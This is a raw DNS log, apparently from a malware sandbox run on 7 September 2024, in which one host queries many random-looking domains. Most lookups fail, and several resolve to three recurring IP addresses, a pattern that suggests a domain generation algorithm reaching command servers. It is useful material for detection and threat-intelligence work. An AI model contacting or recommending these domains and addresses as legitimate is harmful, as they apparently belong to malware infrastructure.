Sep 7, 2024 15:34:09.664459944 CEST	1.1.1.1	192.168.2.3	0xc409	Name error (3)	lhorellqnmqnh.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:09.793365002 CEST	1.1.1.1	192.168.2.3	0x5251	No error (0)	yamijoovw.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:10.918720007 CEST	1.1.1.1	192.168.2.3	0x7e8a	No error (0)	wrrfiqelyzq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:12.400243044 CEST	1.1.1.1	192.168.2.3	0x2941	Name error (3)	cmujuqlmdkg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:12.594193935 CEST	1.1.1.1	192.168.2.3	0xc9d6	Name error (3)	cmujuqlmdkg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:13.045411110 CEST	1.1.1.1	192.168.2.3	0x2a1c	Name error (3)	ecumwls.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:13.287847996 CEST	1.1.1.1	192.168.2.3	0x7165	Name error (3)	ecumwls.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:13.418764114 CEST	1.1.1.1	192.168.2.3	0xb60c	No error (0)	fyuciecxgldyb.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:14.729984045 CEST	1.1.1.1	192.168.2.3	0x7d32	Name error (3)	cwgbto.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:14.905997992 CEST	1.1.1.1	192.168.2.3	0xa26d	Name error (3)	cwgbto.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:15.027692080 CEST	1.1.1.1	192.168.2.3	0x43f0	No error (0)	vcmiwoi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.189805031 CEST	1.1.1.1	192.168.2.3	0x24a4	Name error (3)	nnwivnbqu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.201611996 CEST	1.1.1.1	192.168.2.3	0xb756	Name error (3)	nnwivnbqu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.339999914 CEST	1.1.1.1	192.168.2.3	0x5a52	Name error (3)	iftwbsbhi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.378106117 CEST	1.1.1.1	192.168.2.3	0x6c41	Name error (3)	iftwbsbhi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.533380032 CEST	1.1.1.1	192.168.2.3	0x2f7b	Name error (3)	imctsikhqfmox.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.567723036 CEST	1.1.1.1	192.168.2.3	0x8ec8	Name error (3)	imctsikhqfmox.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.696721077 CEST	1.1.1.1	192.168.2.3	0x6c90	No error (0)	wkgxyjabnhynde.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:17.994328976 CEST	1.1.1.1	192.168.2.3	0xf10e	Name error (3)	kowrxnw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:18.220258951 CEST	1.1.1.1	192.168.2.3	0x5f84	Name error (3)	kowrxnw.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:18.830486059 CEST	1.1.1.1	192.168.2.3	0x392a	Name error (3)	xytag.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.371515036 CEST	1.1.1.1	192.168.2.3	0x4217	Name error (3)	xytag.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.486578941 CEST	1.1.1.1	192.168.2.3	0x90b7	Name error (3)	xnzakgk.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.846225023 CEST	1.1.1.1	192.168.2.3	0x7b9d	Name error (3)	xnzakgk.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.970702887 CEST	1.1.1.1	192.168.2.3	0xde35	Name error (3)	gimamgpmfgycu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:19.980983973 CEST	1.1.1.1	192.168.2.3	0x888c	Name error (3)	gimamgpmfgycu.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:20.095544100 CEST	1.1.1.1	192.168.2.3	0xa537	No error (0)	lfcwiw.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:21.237078905 CEST	1.1.1.1	192.168.2.3	0xa540	No error (0)	vnsudgrujuqaw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:22.400418043 CEST	1.1.1.1	192.168.2.3	0xb46d	Name error (3)	menrzwzda.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:22.744910955 CEST	1.1.1.1	192.168.2.3	0x5efa	Name error (3)	menrzwzda.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.092437983 CEST	1.1.1.1	192.168.2.3	0xf0b4	Name error (3)	goejwtwioknhq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.354047060 CEST	1.1.1.1	192.168.2.3	0x7b95	Name error (3)	goejwtwioknhq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.483614922 CEST	1.1.1.1	192.168.2.3	0xbf35	Name error (3)	oigqdcmjr.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.555923939 CEST	1.1.1.1	192.168.2.3	0x379a	Name error (3)	oigqdcmjr.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.826652050 CEST	1.1.1.1	192.168.2.3	0x29fa	Name error (3)	unmzmwhqqjn.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:23.990195036 CEST	1.1.1.1	192.168.2.3	0xc238	Name error (3)	unmzmwhqqjn.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:24.444269896 CEST	1.1.1.1	192.168.2.3	0xfd6e	Name error (3)	iuzmbo.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.357106924 CEST	1.1.1.1	192.168.2.3	0x14de	Name error (3)	zaspgiv.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.520811081 CEST	1.1.1.1	192.168.2.3	0x7977	Name error (3)	zaspgiv.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:25.646747112 CEST	1.1.1.1	192.168.2.3	0x511f	Name error (3)	kccsaqgsvsa.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:26.836741924 CEST	1.1.1.1	192.168.2.3	0x29bd	Name error (3)	kccsaqgsvsa.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:26.836755991 CEST	1.1.1.1	192.168.2.3	0x29bd	Name error (3)	kccsaqgsvsa.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:26.954647064 CEST	1.1.1.1	192.168.2.3	0xb6e8	No error (0)	rgqgidaugywcg.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:28.132153988 CEST	1.1.1.1	192.168.2.3	0x8128	Name error (3)	dqfudtqqvpha.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:28.167275906 CEST	1.1.1.1	192.168.2.3	0xfe2e	Name error (3)	dqfudtqqvpha.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:28.293586016 CEST	1.1.1.1	192.168.2.3	0xc60d	No error (0)	btmcgia.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:29.541615009 CEST	1.1.1.1	192.168.2.3	0x4718	Name error (3)	ihigogb.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:29.768336058 CEST	1.1.1.1	192.168.2.3	0x3811	Name error (3)	ihigogb.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:30.153366089 CEST	1.1.1.1	192.168.2.3	0xc6f0	Name error (3)	uduywyte.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:30.436245918 CEST	1.1.1.1	192.168.2.3	0x759	Name error (3)	uduywyte.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:30.558532953 CEST	1.1.1.1	192.168.2.3	0xdfd1	No error (0)	geocssarlwqkae.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:32.290822983 CEST	1.1.1.1	192.168.2.3	0x15e9	Name error (3)	niror.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:32.365196943 CEST	1.1.1.1	192.168.2.3	0x632b	Name error (3)	niror.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:32.486191034 CEST	1.1.1.1	192.168.2.3	0xc3ff	No error (0)	pqqembk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:33.660257101 CEST	1.1.1.1	192.168.2.3	0xd80b	Name error (3)	ukikcexuo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:33.953855991 CEST	1.1.1.1	192.168.2.3	0x79c0	Name error (3)	ukikcexuo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:34.344377995 CEST	1.1.1.1	192.168.2.3	0x953d	Name error (3)	eksogaqiy.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:34.364186049 CEST	1.1.1.1	192.168.2.3	0x2040	Name error (3)	eksogaqiy.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:34.489438057 CEST	1.1.1.1	192.168.2.3	0xd664	No error (0)	gwzyu.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.637059927 CEST	1.1.1.1	192.168.2.3	0xf85d	Name error (3)	eqcdijeomajywh.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.724064112 CEST	1.1.1.1	192.168.2.3	0xfc42	Name error (3)	eqcdijeomajywh.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:35.937606096 CEST	1.1.1.1	192.168.2.3	0x5a4c	Name error (3)	yebwfcrq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.175004959 CEST	1.1.1.1	192.168.2.3	0x4044	Name error (3)	yebwfcrq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.298347950 CEST	1.1.1.1	192.168.2.3	0xe629	Name error (3)	ywynxne.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.497082949 CEST	1.1.1.1	192.168.2.3	0x367d	Name error (3)	ywynxne.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:36.612369061 CEST	1.1.1.1	192.168.2.3	0x31ac	No error (0)	cefal.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:38.075436115 CEST	1.1.1.1	192.168.2.3	0xa702	Name error (3)	eiluyai.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:38.179972887 CEST	1.1.1.1	192.168.2.3	0x77f1	Name error (3)	eiluyai.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:38.309089899 CEST	1.1.1.1	192.168.2.3	0x70a6	No error (0)	kkrsmqksico.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:39.434180021 CEST	1.1.1.1	192.168.2.3	0x7ff0	No error (0)	wlopqesa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:40.548949003 CEST	1.1.1.1	192.168.2.3	0x7883	No error (0)	gceocrmsm.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:41.794745922 CEST	1.1.1.1	192.168.2.3	0x623b	Name error (3)	aynyrapy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:42.040199041 CEST	1.1.1.1	192.168.2.3	0xbd67	Name error (3)	aynyrapy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:42.662003994 CEST	1.1.1.1	192.168.2.3	0xa9c	Name error (3)	loucml.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:42.776115894 CEST	1.1.1.1	192.168.2.3	0xa0ff	Name error (3)	loucml.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.051779985 CEST	1.1.1.1	192.168.2.3	0xfaf3	Name error (3)	igeeqesxawmwom.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.223047972 CEST	1.1.1.1	192.168.2.3	0xe0bd	Name error (3)	igeeqesxawmwom.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.348989010 CEST	1.1.1.1	192.168.2.3	0x27e5	Name error (3)	numuqgoyj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.360789061 CEST	1.1.1.1	192.168.2.3	0x99a2	Name error (3)	numuqgoyj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.501523018 CEST	1.1.1.1	192.168.2.3	0x1e86	Name error (3)	owpuc.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.637588024 CEST	1.1.1.1	192.168.2.3	0x179a	Name error (3)	owpuc.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:43.752202034 CEST	1.1.1.1	192.168.2.3	0xd63b	No error (0)	mxeye.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.099581003 CEST	1.1.1.1	192.168.2.3	0x9bf5	Name error (3)	ulwbq.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.276434898 CEST	1.1.1.1	192.168.2.3	0x7115	Name error (3)	ulwbq.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.671379089 CEST	1.1.1.1	192.168.2.3	0xc6ae	Name error (3)	iksgub.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.690308094 CEST	1.1.1.1	192.168.2.3	0xf530	Name error (3)	iksgub.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:45.814261913 CEST	1.1.1.1	192.168.2.3	0x4e0f	No error (0)	skkawq.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:46.942770958 CEST	1.1.1.1	192.168.2.3	0x14d4	No error (0)	quoxyyhgwkw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.344849110 CEST	1.1.1.1	192.168.2.3	0x6060	Name error (3)	kuhoi.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.358421087 CEST	1.1.1.1	192.168.2.3	0x6311	Name error (3)	kuhoi.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.471057892 CEST	1.1.1.1	192.168.2.3	0x6d14	Name error (3)	znful.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.490056992 CEST	1.1.1.1	192.168.2.3	0xc689	Name error (3)	znful.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.638489008 CEST	1.1.1.1	192.168.2.3	0xf68c	Name error (3)	nuijfgm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:48.913805008 CEST	1.1.1.1	192.168.2.3	0x42ae	Name error (3)	nuijfgm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:49.044142962 CEST	1.1.1.1	192.168.2.3	0x4c94	Name error (3)	owzuhlkauoavrg.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:49.235616922 CEST	1.1.1.1	192.168.2.3	0x8d2	Name error (3)	owzuhlkauoavrg.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:49.364825964 CEST	1.1.1.1	192.168.2.3	0x3c21	No error (0)	goqcygcoo.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:50.646037102 CEST	1.1.1.1	192.168.2.3	0xfa48	Name error (3)	kamqc.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:50.820564985 CEST	1.1.1.1	192.168.2.3	0x58cc	Name error (3)	kamqc.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:50.940427065 CEST	1.1.1.1	192.168.2.3	0x8807	No error (0)	jkknameib.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.374962091 CEST	1.1.1.1	192.168.2.3	0x8271	Name error (3)	pwoawmujdqwzs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.475307941 CEST	1.1.1.1	192.168.2.3	0x8019	Name error (3)	pwoawmujdqwzs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.755342007 CEST	1.1.1.1	192.168.2.3	0x4ec4	Name error (3)	exmqudoi.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:52.923769951 CEST	1.1.1.1	192.168.2.3	0xe579	Name error (3)	exmqudoi.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.071719885 CEST	1.1.1.1	192.168.2.3	0x1f1f	Name error (3)	dqagvyickrk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.107914925 CEST	1.1.1.1	192.168.2.3	0x1f81	Name error (3)	dqagvyickrk.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.384504080 CEST	1.1.1.1	192.168.2.3	0x2704	Name error (3)	useeru.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:53.613701105 CEST	1.1.1.1	192.168.2.3	0x17a9	Name error (3)	useeru.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:54.596755028 CEST	1.1.1.1	192.168.2.3	0x5a0e	Name error (3)	xqeappl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:54.841115952 CEST	1.1.1.1	192.168.2.3	0xe4a0	Name error (3)	xqeappl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:54.962430000 CEST	1.1.1.1	192.168.2.3	0x3edb	Name error (3)	wkuzdqsoiwy.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.296880007 CEST	1.1.1.1	192.168.2.3	0xb872	Name error (3)	wkuzdqsoiwy.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.674129009 CEST	1.1.1.1	192.168.2.3	0x26ef	Name error (3)	ioiqqswzikfqu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.691339016 CEST	1.1.1.1	192.168.2.3	0x6070	Name error (3)	ioiqqswzikfqu.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:55.821253061 CEST	1.1.1.1	192.168.2.3	0x7c17	No error (0)	ypnuaffmx.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:56.989911079 CEST	1.1.1.1	192.168.2.3	0xf532	No error (0)	oigusewa.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:58.340895891 CEST	1.1.1.1	192.168.2.3	0x3f8b	Name error (3)	ocjaqgnsqfgp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:58.589837074 CEST	1.1.1.1	192.168.2.3	0xbf8a	Name error (3)	ocjaqgnsqfgp.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:58.705534935 CEST	1.1.1.1	192.168.2.3	0xaace	No error (0)	pmoodvkmiigul.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:59.882282972 CEST	1.1.1.1	192.168.2.3	0x1d61	No error (0)	ndqcy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:01.251871109 CEST	1.1.1.1	192.168.2.3	0x198d	Name error (3)	hvvgycugwh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:01.519118071 CEST	1.1.1.1	192.168.2.3	0xd13d	Name error (3)	hvvgycugwh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:01.642635107 CEST	1.1.1.1	192.168.2.3	0x3b81	No error (0)	esqkgcss.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.034349918 CEST	1.1.1.1	192.168.2.3	0xaefd	Name error (3)	ithzdymit.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.224302053 CEST	1.1.1.1	192.168.2.3	0xf26a	Name error (3)	ithzdymit.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.513156891 CEST	1.1.1.1	192.168.2.3	0x87e	Name error (3)	uvwabzkyifixf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.677989960 CEST	1.1.1.1	192.168.2.3	0xc865	Name error (3)	uvwabzkyifixf.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.839628935 CEST	1.1.1.1	192.168.2.3	0x861c	Name error (3)	kuikdooag.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:03.899019003 CEST	1.1.1.1	192.168.2.3	0xf5e4	Name error (3)	kuikdooag.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.285537958 CEST	1.1.1.1	192.168.2.3	0x804d	Name error (3)	kpntwewjtai.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.547012091 CEST	1.1.1.1	192.168.2.3	0x460c	Name error (3)	kpntwewjtai.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.684475899 CEST	1.1.1.1	192.168.2.3	0x2cc6	Name error (3)	kwfciphqs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.717961073 CEST	1.1.1.1	192.168.2.3	0xa22c	Name error (3)	kwfciphqs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.872669935 CEST	1.1.1.1	192.168.2.3	0xe69b	Name error (3)	xugukhmkcsvw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:04.917658091 CEST	1.1.1.1	192.168.2.3	0xf622	Name error (3)	xugukhmkcsvw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.101944923 CEST	1.1.1.1	192.168.2.3	0x19f2	Name error (3)	nukeecapkuanq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.139265060 CEST	1.1.1.1	192.168.2.3	0x26ef	Name error (3)	nukeecapkuanq.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.293636084 CEST	1.1.1.1	192.168.2.3	0x1438	Name error (3)	gyjdfapyghm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.565269947 CEST	1.1.1.1	192.168.2.3	0x98a0	Name error (3)	gyjdfapyghm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:05.945374012 CEST	1.1.1.1	192.168.2.3	0xa4db	Name error (3)	oooaehqkyge.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:06.110304117 CEST	1.1.1.1	192.168.2.3	0x8f60	Name error (3)	oooaehqkyge.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:06.676088095 CEST	1.1.1.1	192.168.2.3	0x78cc	Name error (3)	wcwxa.ws	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:07.254230022 CEST	1.1.1.1	192.168.2.3	0x4a11	Name error (3)	wcwxa.ws	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:07.399422884 CEST	1.1.1.1	192.168.2.3	0x186e	No error (0)	taiqjio.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.623343945 CEST	1.1.1.1	192.168.2.3	0x5d2	Name error (3)	qaeebwmdz.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.724963903 CEST	1.1.1.1	192.168.2.3	0x4838	Name error (3)	qaeebwmdz.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.846431971 CEST	1.1.1.1	192.168.2.3	0x21c9	Name error (3)	qcqdo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:08.861082077 CEST	1.1.1.1	192.168.2.3	0x6581	Name error (3)	qcqdo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:09.000066042 CEST	1.1.1.1	192.168.2.3	0x3f3a	No error (0)	yklznhasrec.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.313062906 CEST	1.1.1.1	192.168.2.3	0x7500	Name error (3)	kcvsysu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.420491934 CEST	1.1.1.1	192.168.2.3	0x1d20	Name error (3)	kcvsysu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.692528963 CEST	1.1.1.1	192.168.2.3	0x6299	Name error (3)	fbkzqsqod.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:10.980252981 CEST	1.1.1.1	192.168.2.3	0xe1cc	Name error (3)	fbkzqsqod.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:11.109220982 CEST	1.1.1.1	192.168.2.3	0x388f	No error (0)	sbpgpqw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.459064007 CEST	1.1.1.1	192.168.2.3	0x75ba	Name error (3)	kuchksikknk.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.508548021 CEST	1.1.1.1	192.168.2.3	0xe47a	Name error (3)	kuchksikknk.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.656769991 CEST	1.1.1.1	192.168.2.3	0x9906	Name error (3)	ggaksi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:13.716592073 CEST	1.1.1.1	192.168.2.3	0x4d61	Name error (3)	ggaksi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:14.071821928 CEST	1.1.1.1	192.168.2.3	0xc3ad	Name error (3)	canqk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:14.250524044 CEST	1.1.1.1	192.168.2.3	0x79e0	Name error (3)	canqk.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:14.376339912 CEST	1.1.1.1	192.168.2.3	0x454f	No error (0)	gnwseqckkmly.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:15.503292084 CEST	1.1.1.1	192.168.2.3	0x97cc	No error (0)	umwkoadmhbrsv.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:16.658691883 CEST	1.1.1.1	192.168.2.3	0xf2c0	Name error (3)	mauzahxbhdyxg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:16.680699110 CEST	1.1.1.1	192.168.2.3	0xb9db	Name error (3)	mauzahxbhdyxg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:16.798542023 CEST	1.1.1.1	192.168.2.3	0x92ca	No error (0)	garuyix.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:17.949479103 CEST	1.1.1.1	192.168.2.3	0xe38c	No error (0)	biguscy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:19.128149986 CEST	1.1.1.1	192.168.2.3	0x7a3b	Name error (3)	mokurs.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:19.719667912 CEST	1.1.1.1	192.168.2.3	0x83b5	Name error (3)	mokurs.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.177061081 CEST	1.1.1.1	192.168.2.3	0xed5e	Name error (3)	raqumygq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.190715075 CEST	1.1.1.1	192.168.2.3	0x601d	Name error (3)	raqumygq.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.337760925 CEST	1.1.1.1	192.168.2.3	0x2cbb	Name error (3)	yuyoyuv.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.354737997 CEST	1.1.1.1	192.168.2.3	0x7349	Name error (3)	yuyoyuv.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:35:20.647357941 CEST	1.1.1.1	192.168.2.3	0x51c4	Name error (3)	kikcvucesim.cm	none	none	A (IP address)	IN (0x0001)	false
